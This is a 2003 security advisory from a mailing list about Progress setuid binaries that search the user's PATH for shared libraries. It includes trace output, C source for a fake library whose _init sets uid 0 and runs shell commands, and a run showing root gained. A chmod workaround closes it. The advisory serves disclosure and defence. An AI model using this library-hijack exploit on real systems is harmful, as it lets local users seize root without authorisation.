[UNIX] Progress PATH Based dlopen() Issue

From: SecuriTeam (support_at_securiteam.com)
Date: 06/15/03

  • Next message: SecuriTeam: "[NEWS] Lycos Authenticating Systems and Lycos News Server Vulnerabilities"
    To: list@securiteam.com
    Date: 15 Jun 2003 12:13:31 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Latest attack techniques.

    You're a pen tester, but is google.com still your R&D team?
    Now you can get trustworthy commercial-grade exploits and the latest
    techniques from a world-class research group.

    Learn more at http://www.coresecurity.com/promos/sit_e1,
    or call 617-399-6980

    - - - - - - - - -

      Progress PATH Based dlopen() Issue
    ------------------------------------------------------------------------

    SUMMARY

    Progress applications make the use of several helper .DLL and .so
    binaries. When looking for shared object files for use in a dlopen
    statement Progress choose to look in the users PATH. No verification is
    performed upon the object that is located thus local non super users can
    make themselves root. (Most binaries in /usr/dlc/bin can be exploited via
    this method).

    DETAILS

    Exploit:
    [elguapo@rh8 elguapo]$ ls -al /usr/dlc/bin/_proapsv
    -rwsr-xr-x 1 root root 5258733 Nov 23 02:01 /usr/dlc/bin/_proapsv

    getenv("DLC") = NULL
    strcpy(0xbffff350, "libjutil.so") = 0xbffff350
    memmove(0xbfffefc8, 0xbffff350, 12, 0x084a2a50, 0x084e1310) = 0xbfffefc8
    access("libjutil.so", 4) = -1
    __errno_location() = 0x4212a620
    getenv("PATH") =
    "/usr/local/bin:/bin...
    strcat("/usr/local/bin", "/") = "/usr/local/bin/"
    strcat("/usr/local/bin/", "libjutil.so") =
    "/usr/local/bin/libjutil.so"
    access("/usr/local/bin/libjutil.so", 4) = -1
    ..
    strcat("/home/elguapo/bin/", "libjutil.so")
    "/home/elguapo/bin/libjutil.so"
    access("/home/elguapo/bin/libjutil.so", 4) = 0

    As you can see the library libjutil.so is searched for in the users PATH.
    So we can create a shared library and exploit the vulnerability (code
    provided by: <mailto:core[at]bokeoa.com> core[at]bokeoa.com):

    #include <stdio.h>
    #include <string.h>

    // If you wanted to get creative you can hack out some fake functions for
    // use later ... but theres no need... just use _init

    int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
      printf("This is a fake ehnLogOpen \n");
    }
    int ehnLogClose(int argc, char * const argv[], const char *optstring) {
      printf("This is a fake ehnLogClose\n");
    }

    _init() {
       setuid(0);
       setgid(0);
       printf("bullshit library loaded\n");
       system("/usr/bin/id > /tmp/p00p");
       system("cat /tmp/p00p");
    }

    [elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv
    This is a fake ehnLogOpen
    uid=0(root) gid=500(elguapo) groups=500(elguapo)
    +0001%ReadUBproperties failed: WebSpeed error 10007, System error 0,
    ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose
    uid=0(root) gid=500(elguapo) groups=500(elguapo)

    [elguapo@rh8 elguapo]$ /usr/bin/ltrace /usr/dlc/bin/_proapsv

    We can see it searches the PATH and finds nothing ...

    getenv("PATH") = NULL
    dlopen("libjutil.so", 258) = NULL
    ..
    read(3, "Could not open Dynamic Library: "..., 81) = 81
    malloc(51) = 0x084df718
    dlerror() = "libjutil.so: cannot
    open shared "...
    lseek(3, 649134, 0) = 649134
    read(3, "DLL Error : %s (8014)", 81) = 81

    In the above example we just gave it a little help finding the .so The
    dlsym command will help you determine which fake functions you need to
    make the exploit work.

    getenv("PATH") = "/tmp"
    strcat("/tmp", "/") = "/tmp/"
    strcat("/tmp/", "libjutil.so") = "/tmp/libjutil.so"
    access("/tmp/libjutil.so", 4) = 0
    dlopen("/tmp/libjutil.so", 258) = 0x084e1840
    dlsym(0x084e1840, "ehnLogOpen") = 0x40013414
    dlsym(0x084e1840, "ehnLogClose") = 0x4001345e
    dlsym(0x084e1840, "ehnLogWrite") = 0x400134a8
    dlsym(0x084e1840, "ehnLogDump") = 0x400134f2
    dlsym(0x084e1840, "ehnLogGetProperties") = 0x4001353c
    dlsym(0x084e1840, "ehnLogSetProperties") = 0x40013586
    This is a fake ehnLogOpen
    uid=0(root) gid=500(elguapo) groups=500(elguapo)

    Workaround:
    Execute the following:
    #chmod -s /usr/dlc/bin/*

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dotslash@snosoft.com> KF.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Lycos Authenticating Systems and Lycos News Server Vulnerabilities"